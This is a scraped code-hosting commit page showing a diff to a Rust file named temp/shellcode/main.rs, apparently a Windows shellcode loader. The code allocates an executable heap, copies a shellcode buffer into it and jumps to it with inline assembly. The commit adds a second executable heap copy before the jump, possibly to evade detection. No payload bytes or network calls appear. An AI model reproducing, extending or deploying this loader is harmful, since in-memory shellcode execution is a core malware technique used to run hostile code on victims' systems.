We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 6ae26bf commit 28143c7Copy full SHA for 28143c7
temp/shellcode/main.rs
@@ -55,7 +55,13 @@ fn main() {
55
let heap= HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
56
let alloc = HeapAlloc(heap, 8, flen);
57
std::ptr::copy_nonoverlapping(shellCode.as_ptr(), alloc as *mut u8, flen);
58
- let jmp_target = alloc.offset(0 as isize);
+
59
+ let heap1= HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
60
+ let alloc1 = HeapAlloc(heap1, 8, flen);
61
+ std::ptr::copy_nonoverlapping(alloc as *mut u8, alloc1 as *mut u8, flen);
62
63
64
+ let jmp_target = alloc1.offset(0 as isize);
65
asm!("jmp {}", in(reg) jmp_target)
66
}
67
0 commit comments